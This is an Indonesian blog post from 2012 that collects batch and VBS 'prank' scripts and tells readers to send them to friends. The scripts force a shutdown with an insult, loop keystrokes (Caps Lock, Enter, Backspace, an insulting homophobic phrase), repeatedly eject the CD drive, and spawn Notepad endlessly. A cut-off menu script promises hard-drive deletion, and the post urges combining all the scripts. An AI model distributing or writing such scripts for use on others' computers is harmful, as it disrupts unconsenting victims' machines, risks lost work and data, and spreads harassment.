Thursday, February 2, 2012

Kumpulan Kode Scripts untuk iseng ke teman-teman Anda


Wah.. dari title postingnya.. kayaknya seru nih untuk iseng orang. Saat saya lagi menjelajahi forum trikdasar  dan ketemu kode script yang keren ini. saya pikir script ini cocok buat teman-teman agan untuk belajar.


NB: " Gunakan Notepad "
1). memberi sedikit pesan dan shutdown komputer teman anda
ketik 
Code:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s





Save As menggunakan Extension .BAT lalu kiri me teman anda
Code:
Contoh : apasaja.bat

2). Menyalakan tombol Caps lock secara simultan
ketik 
Code:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save As *.VBS trus kirim ke teman anda
Code:
contoh : apasaja.VBS

3). buka/tutup CD drive secara terus menerus
ketik 
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save As dengan *.VBS trus kirim ke teman anda 
4). yang ini script fungsinya supaya teken enter secara simultan 
ketik 
Code :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save As dengan *.VBS trus kirim ke teman anda 

5). yang ini Fungsinya untuk membuka notepad, kemudian akan mengetik pesan kita secara otomatis di notepad.
ketik 
Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Save As dengan *.VBS trus kirim ke teman anda !

6). Membuat script vbs ini menjalankan BACKSPACE secara simultan
ketik 
Code:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save As dengan *.VBS trus kirim ke teman anda !

7). Hack keyboard sehingga temen lu dipaksa ngetik " u are a gay" secara simultan
ketik 
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a gay"
loop
Save As dengan *.VBS trus kirim ke teman anda !

8). Buka Notepad secara terus menerus
ketik
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save As dengan *.BAT trus kirim ke teman anda !

9). Script BATCH yang ini bakal munculin 5 pilihan yang harus temen kalian diantaranya adalah
1. shutdown
2. restart
3. hapus hard drive 
4. Net send
5. Menampilkan pesan, kemudian shutdown

ketik 
Code :
@echo off
title The end of the world
cd C:\
:menu
cls
echo oops gw gak tanggung jawab lho apa yang barusan lu lakuin hehhe,,semuanya dh jadi tanggung jawab lu sendiri...
pause
echo pilih nama cwe yang lu suka =P :
echo 1. datanya bakal ilang lho.
echo 2. komputer nya corrupt lho
echo 3. hehehe no comment deh klo yang ini
echo 4. mau mati pake jalan ini?
echo 5. bye bye...
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Apabila dari 9 kode Script diatas agan bisa kembangin dan menggabungkannya menjadi 1, Pasti Efeknya .....???!
hehehee.. 

Thanks to: trikdasar

0 comments:

Post a Comment

Silahkan berkomentar agar kami bisa menjadikan blog ini menjadi lebih baik terutama untuk para agan - agan sekalian. semoga sukses... !

◄ Posting Baru Posting Lama ►
 

Mau Berlangganan ? it's free...

Dengan memasukkan email Anda disini berarti Anda berhak mendapatkan semua artikel dan pembaharuan informasi dari kami. terima kasih

Enter your email address:




Delivered by FeedBurner
Recommended Post Slide Out For Blogger

Followers